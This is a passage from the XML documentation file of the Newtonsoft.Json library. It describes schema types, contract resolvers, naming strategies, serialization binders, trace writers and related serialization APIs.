     </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Float\">\n            <summary>\n            Float type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Integer\">\n            <summary>\n            Integer type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Boolean\">\n            <summary>\n            Boolean type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Object\">\n            <summary>\n            Object type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Array\">\n            <summary>\n            Array type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Null\">\n            <summary>\n            Null type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Any\">\n            <summary>\n            Any type.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling\">\n            <summary>\n            <para>\n            Specifies undefined schema Id handling options for the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaGenerator\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.None\">\n            <summary>\n            Do not infer a schema Id.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.UseTypeName\">\n            <summary>\n            Use the .NET type name as the schema Id.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.UseAssemblyQualifiedName\">\n            <summary>\n            Use the assembly qualified .NET type name as the schema Id.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.ValidationEventArgs\">\n            <summary>\n            <para>\n            Returns detailed information related to the <see cref=\"T:Newtonsoft.Json.Schema.ValidationEventHandler\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Exception\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> associated with the validation error.\n            </summary>\n            <value>The JsonSchemaException associated with the validation error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Path\">\n            <summary>\n            Gets the path of the JSON location where the validation error occurred.\n            </summary>\n            <value>The path of the JSON location where the validation error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Message\">\n            <summary>\n            Gets the text description corresponding to the validation error.\n            </summary>\n            <value>The text description.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.ValidationEventHandler\">\n            <summary>\n            <para>\n            Represents the callback method that will handle JSON schema validation events and the <see cref=\"T:Newtonsoft.Json.Schema.ValidationEventArgs\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\">\n            <summary>\n            A camel case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver\">\n            <summary>\n            Resolves member mappings for a type, camel casing property names.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\">\n            <summary>\n            Used by <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to resolve a <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for a given <see cref=\"T:System.Type\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.DynamicCodeGeneration\">\n            <summary>\n            Gets a value indicating whether members are being get and set using dynamic code generation.\n            This value is determined by the runtime permissions available.\n            </summary>\n            <value>\n            \t<c>true</c> if using dynamic code generation; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.DefaultMembersSearchFlags\">\n            <summary>\n            Gets or sets the default members search flags.\n            </summary>\n            <value>The default members search flags.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.SerializeCompilerGeneratedMembers\">\n            <summary>\n            Gets or sets a value indicating whether compiler generated members should be serialized.\n            </summary>\n            <value>\n            \t<c>true</c> if serialized compiler generated members; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreSerializableInterface\">\n            <summary>\n            Gets or sets a value indicating whether to ignore the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> interface when serializing and deserializing types.\n            </summary>\n            <value>\n            \t<c>true</c> if the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> interface will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreSerializableAttribute\">\n            <summary>\n            Gets or sets a value indicating whether to ignore the <see cref=\"T:System.SerializableAttribute\"/> attribute when serializing and deserializing types.\n            </summary>\n            <value>\n            \t<c>true</c> if the <see cref=\"T:System.SerializableAttribute\"/> attribute will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreIsSpecifiedMembers\">\n            <summary>\n            Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types.\n            </summary>\n            <value>\n                <c>true</c> if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreShouldSerializeMembers\">\n            <summary>\n            Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types.\n            </summary>\n            <value>\n                <c>true</c> if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.NamingStrategy\">\n            <summary>\n            Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized.\n            </summary>\n            <value>The naming strategy used to resolve how property names and dictionary keys are serialized.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.GetSerializableMembers(System.Type)\">\n            <summary>\n            Gets the serializable members for the type.\n            </summary>\n            <param name=\"objectType\">The type to get serializable members for.</param>\n            <returns>The serializable members for the type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateObjectContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateConstructorParameters(System.Reflection.ConstructorInfo,Newtonsoft.Json.Serialization.JsonPropertyCollection)\">\n            <summary>\n            Creates the constructor parameters.\n            </summary>\n            <param name=\"constructor\">The constructor to create properties for.</param>\n            <param name=\"memberProperties\">The type's member properties.</param>\n            <returns>Properties for the given <see cref=\"T:System.Reflection.ConstructorInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreatePropertyFromConstructorParameter(Newtonsoft.Json.Serialization.JsonProperty,System.Reflection.ParameterInfo)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.ParameterInfo\"/>.\n            </summary>\n            <param name=\"matchingMemberProperty\">The matching member property.</param>\n            <param name=\"parameterInfo\">The constructor parameter.</param>\n            <returns>A created <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.ParameterInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveContractConverter(System.Type)\">\n            <summary>\n            Resolves the default <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for the contract.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>The contract's default <see cref=\"T:Newtonsoft.Json.JsonConverter\" />.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateDictionaryContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateArrayContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreatePrimitiveContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateLinqContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateISerializableContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateStringContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateContract(System.Type)\">\n            <summary>\n            Determines which contract type is created for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateProperties(System.Type,Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Creates properties for the given <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/>.\n            </summary>\n            <param name=\"type\">The type to create properties for.</param>\n            /// <param name=\"memberSerialization\">The member serialization mode for the type.</param>\n            <returns>Properties for the given <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateMemberValueProvider(System.Reflection.MemberInfo)\">\n            <summary>\n            Creates the <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> used by the serializer to get and set values from a member.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> used by the serializer to get and set values from a member.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateProperty(System.Reflection.MemberInfo,Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.MemberInfo\"/>.\n            </summary>\n            <param name=\"memberSerialization\">The member's parent <see cref=\"T:Newtonsoft.Json.MemberSerialization\"/>.</param>\n            <param name=\"member\">The member to create a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for.</param>\n            <returns>A created <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.MemberInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the name of the property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>Resolved name of the property.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveExtensionDataName(System.String)\">\n            <summary>\n            Resolves the name of the extension data. By default no changes are made to extension data names.\n            </summary>\n            <param name=\"extensionDataName\">Name of the extension data.</param>\n            <returns>Resolved name of the extension data.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveDictionaryKey(System.String)\">\n            <summary>\n            Resolves the key of the dictionary. By default <see cref=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolvePropertyName(System.String)\"/> is used to resolve dictionary keys.\n            </summary>\n            <param name=\"dictionaryKey\">Key of the dictionary.</param>\n            <returns>Resolved key of the dictionary.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.GetResolvedPropertyName(System.String)\">\n            <summary>\n            Gets the resolved name of the property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>Name of the property.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultNamingStrategy\">\n            <summary>\n            The default naming strategy. Property names and dictionary keys are unchanged.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultSerializationBinder\">\n            <summary>\n            The default serialization binder used when resolving and loading classes from type names.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DefaultSerializationBinder\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n            <returns>\n            The type of the object the formatter creates a new instance of.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DiagnosticsTraceWriter\">\n            <summary>\n            Represents a trace writer that writes to the application's <see cref=\"T:System.Diagnostics.TraceListener\"/> instances.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DiagnosticsTraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/> will exclude <see cref=\"F:System.Diagnostics.TraceLevel.Verbose\"/> messages and include <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/>,\n            <see cref=\"F:System.Diagnostics.TraceLevel.Warning\"/> and <see cref=\"F:System.Diagnostics.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>\n            The <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DiagnosticsTraceWriter.Trace(System.Diagnostics.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:System.Diagnostics.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DynamicValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using dynamic methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DynamicValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DynamicValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DynamicValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DynamicValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ErrorContext\">\n            <summary>\n            Provides information surrounding an error.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Error\">\n            <summary>\n            Gets the error.\n            </summary>\n            <value>The error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.OriginalObject\">\n            <summary>\n            Gets the original object that caused the error.\n            </summary>\n            <value>The original object that caused the error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Member\">\n            <summary>\n            Gets the member that caused the error.\n            </summary>\n            <value>The member that caused the error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Path\">\n            <summary>\n            Gets the path of the JSON location where the error occurred.\n            </summary>\n            <value>The path of the JSON location where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Handled\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.ErrorContext\"/> is handled.\n            </summary>\n            <value><c>true</c> if handled; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ErrorEventArgs\">\n            <summary>\n            Provides data for the Error event.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorEventArgs.CurrentObject\">\n            <summary>\n            Gets the current object the error event is being raised against.\n            </summary>\n            <value>The current object the error event is being raised against.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorEventArgs.ErrorContext\">\n            <summary>\n            Gets the error context.\n            </summary>\n            <value>The error context.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ErrorEventArgs.#ctor(System.Object,Newtonsoft.Json.Serialization.ErrorContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ErrorEventArgs\"/> class.\n            </summary>\n            <param name=\"currentObject\">The current object.</param>\n            <param name=\"errorContext\">The error context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\">\n            <summary>\n            Provides methods to get attributes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IAttributeProvider.GetAttributes(System.Boolean)\">\n            <summary>\n            Returns a collection of all of the attributes, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IAttributeProvider.GetAttributes(System.Type,System.Boolean)\">\n            <summary>\n            Returns a collection of attributes, identified by type, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"attributeType\">The type of the attributes.</param>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IContractResolver\">\n            <summary>\n            Used by <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to resolve a <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for a given <see cref=\"T:System.Type\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeContractResolverObject\" title=\"IContractResolver Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeContractResolverExample\" title=\"IContractResolver Example\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\">\n            <summary>\n            Used to resolve references when serializing and deserializing JSON by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.ResolveReference(System.Object,System.String)\">\n            <summary>\n            Resolves a reference to its object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"reference\">The reference to resolve.</param>\n            <returns>The object that was resolved from the reference.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.GetReference(System.Object,System.Object)\">\n            <summary>\n            Gets the reference for the specified object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"value\">The object to get a reference for.</param>\n            <returns>The reference to the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.IsReferenced(System.Object,System.Object)\">\n            <summary>\n            Determines whether the specified object is referenced.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"value\">The object to test for a reference.</param>\n            <returns>\n            \t<c>true</c> if the specified object is referenced; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.AddReference(System.Object,System.String,System.Object)\">\n            <summary>\n            Adds a reference to the specified object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"reference\">The reference.</param>\n            <param name=\"value\">The object to reference.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\">\n            <summary>\n            Allows users to control class loading and mandate what class to load.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ISerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When implemented, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object</param>\n            <returns>The type of the object the formatter creates a new instance of.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ISerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When implemented, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ITraceWriter\">\n            <summary>\n            Represents a trace writer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ITraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/> will exclude <see cref=\"F:System.Diagnostics.TraceLevel.Verbose\"/> messages and include <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/>,\n            <see cref=\"F:System.Diagnostics.TraceLevel.Warning\"/> and <see cref=\"F:System.Diagnostics.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>The <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ITraceWriter.Trace(System.Diagnostics.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:System.Diagnostics.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IValueProvider\">\n            <summary>\n            Provides methods to get and set values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IValueProvider.GetValue(System.Object)\">\n            <summary>\n            